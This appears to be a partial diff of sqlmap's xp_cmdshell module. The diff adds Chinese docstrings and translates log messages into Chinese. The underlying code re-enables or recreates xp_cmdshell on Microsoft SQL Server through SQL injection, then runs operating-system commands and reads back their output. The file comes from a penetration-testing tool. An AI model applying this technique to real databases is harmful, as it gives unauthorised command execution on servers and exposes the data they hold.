"INSERT INTO %s(data) " % insertIntoTable @@ -186,11 +250,34 @@ class XP_cmdshell(object): return agent.runAsDBMSUser(self._forgedCmd) def xpCmdshellExecCmd(self, cmd, silent=False): + """ + 执行xp_cmdshell命令 + + 参数: + cmd: 要执行的命令 + silent: 是否静默执行,不显示输出 + + 返回: + str: 命令执行结果 + """ return inject.goStacked(self.xpCmdshellForgeCmd(cmd), silent) def xpCmdshellEvalCmd(self, cmd, first=None, last=None): + """ + 评估并执行xp_cmdshell命令,处理输出结果 + 支持直接模式和通过表存储结果两种方式 + + 参数: + cmd: 要执行的命令 + first: 结果的起始位置 + last: 结果的结束位置 + + 返回: + str: 处理后的命令输出结果 + """ output = None + # 直接模式执行 if conf.direct: output = self.xpCmdshellExecCmd(cmd) @@ -205,21 +292,21 @@ class XP_cmdshell(object): output = new_output else: + # 通过支持表执行命令 inject.goStacked(self.xpCmdshellForgeCmd(cmd, self.cmdTblName)) - # When user provides DBMS credentials (with --dbms-cred), the - # command standard output is redirected to a temporary file - # The file needs to be copied to the support table, - # 'sqlmapoutput' + # 处理DBMS凭据情况下的命令输出 if conf.dbmsCred: inject.goStacked("BULK INSERT %s FROM '%s' WITH (CODEPAGE='RAW', FIELDTERMINATOR='%s', ROWTERMINATOR='%s')" % (self.cmdTblName, self.tmpFile, randomStr(10), randomStr(10))) self.delRemoteFile(self.tmpFile) query = "SELECT %s FROM %s ORDER BY id" % (self.tblField, self.cmdTblName) + # 使用不同的技术获取输出 if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: output = inject.getValue(query, resumeValue=False, blind=False, time=False) + # 如果没有输出,尝试分批获取 if (output is None) or len(output) == 0 or output[0] is None: output = [] count = inject.getValue("SELECT COUNT(id) FROM %s" % self.cmdTblName, resumeValue=False, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) @@ -229,8 +316,10 @@ class XP_cmdshell(object): query = agent.limitQuery(index, query, self.tblField) output.append(inject.getValue(query, union=False, error=False, resumeValue=False)) + # 清理支持表 inject.goStacked("DELETE FROM %s" % self.cmdTblName) + # 处理输出格式 if output and isListLike(output) and len(output) > 1: _ = "" lines = [line for line in flattenValue(output) if line is not None] @@ -246,57 +335,59 @@ class XP_cmdshell(object): return output def xpCmdshellInit(self): + """ + 初始化xp_cmdshell功能 + 主要步骤: + 1. 检查xp_cmdshell是否可用 + 2. 如果不可用,尝试启用或创建新的xp_cmdshell + 3. 创建支持表用于存储命令输出 + 4. 测试xp_cmdshell功能 + """ if not kb.xpCmdshellAvailable: - infoMsg = "checking if xp_cmdshell extended procedure is " - infoMsg += "available, please wait.." + infoMsg = "检查xp_cmdshell扩展存储过程是否可用,请稍候.." logger.info(infoMsg) result = self._xpCmdshellCheck() if result: - logger.info("xp_cmdshell extended procedure is available") + logger.info("xp_cmdshell扩展存储过程可用") kb.xpCmdshellAvailable = True - else: - message = "xp_cmdshell extended procedure does not seem to " - message += "be available. Do you want sqlmap to try to " - message += "re-enable it? [Y/n] " + message = "xp_cmdshell扩展存储过程似乎不可用。" + message += "是否要让sqlmap尝试重新启用它? [Y/n] " if readInput(message, default='Y', boolean=True): self._xpCmdshellConfigure(1) if self._xpCmdshellCheck(): - logger.info("xp_cmdshell re-enabled successfully") + logger.info("xp_cmdshell成功重新启用") kb.xpCmdshellAvailable = True - else: - logger.warning("xp_cmdshell re-enabling failed") + logger.warning("xp_cmdshell重新启用失败") - logger.info("creating xp_cmdshell with sp_OACreate") + logger.info("使用sp_OACreate创建xp_cmdshell") self._xpCmdshellConfigure(0) self._xpCmdshellCreate() if self._xpCmdshellCheck(): - logger.info("xp_cmdshell created successfully") + logger.info("xp_cmdshell创建成功") kb.xpCmdshellAvailable = True - else: - warnMsg = "xp_cmdshell creation failed, probably " - warnMsg += "because sp_OACreate is disabled" + warnMsg = "xp_cmdshell创建失败," + warnMsg += "可能是因为sp_OACreate被禁用" logger.warning(warnMsg) hashDBWrite(HASHDB_KEYS.KB_XP_CMDSHELL_AVAILABLE, kb.xpCmdshellAvailable) if not kb.xpCmdshellAvailable: - errMsg = "unable to proceed without xp_cmdshell" + errMsg = "无法在没有xp_cmdshell的情况下继续" raise SqlmapUnsupportedFeatureException(errMsg) - debugMsg = "creating a support table to write commands standard " - debugMsg += "output to" + debugMsg = "创建支持表以写入命令标准输出" logger.debug(debugMsg) - # TEXT can't be used here because in error technique you get: - # "The text, ntext, and image data types cannot be compared or sorted" + # 创建支持表,使用NVARCHAR(4000)而不是TEXT类型 + # 因为在错误技术中TEXT类型不能比较或排序 self.createSupportTbl(self.cmdTblName, self.tblField, "NVARCHAR(4000)") self._xpCmdshellTest()